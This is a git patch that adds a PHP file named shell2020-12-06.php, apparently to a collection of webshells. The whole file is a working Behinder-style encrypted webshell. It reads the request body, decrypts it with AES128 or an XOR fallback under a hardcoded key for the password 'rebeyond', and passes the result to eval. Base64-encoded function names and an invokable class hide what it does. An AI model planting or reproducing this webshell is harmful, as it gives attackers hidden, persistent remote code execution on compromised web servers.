From c7c6b398331927f47b1911834a631159be90b065 Mon Sep 17 00:00:00 2001
From: tennc <670357+tennc@users.noreply.github.com>
Date: Mon, 7 Dec 2020 23:05:11 +0800
Subject: [PATCH] Create shell2020-12-06.php

password:rebeyond
---
 Behinder/shell2020-12-06.php | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)
 create mode 100644 Behinder/shell2020-12-06.php

diff --git a/Behinder/shell2020-12-06.php b/Behinder/shell2020-12-06.php
new file mode 100644
index 0000000..e406147
--- /dev/null
+++ b/Behinder/shell2020-12-06.php
@@ -0,0 +1,26 @@
+<?php
+@error_reporting(0);
+session_start();
+$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
+$_SESSION['k']=$key;
+$f=explode("|",base64_decode("ZmlsZV9nZXRfY29udGVudHN8YmFzZTY0X2RlY29kZXxwaHA6Ly9pbnB1dA=="));
+$post=["bie"=>$f[0](end($f))];
+$post=$post["bie"];
+if(!extension_loaded('openssl'))
+{
+ $post=$f[1]($post."");
+
+ for($i=0;$i<strlen($post);$i++) {
+  $post[$i] = $post[$i] xor $key[$i+1&15];
+ }
+}
+else
+{
+ $post=openssl_decrypt($post, "AES128", $key);
+}
+$arr=explode('|',$post);
+$func=$arr[0];
+$params=$arr[1];
+class C{public function __invoke($p) {eval($p."");}}
+@call_user_func(new C(),$params);
+?>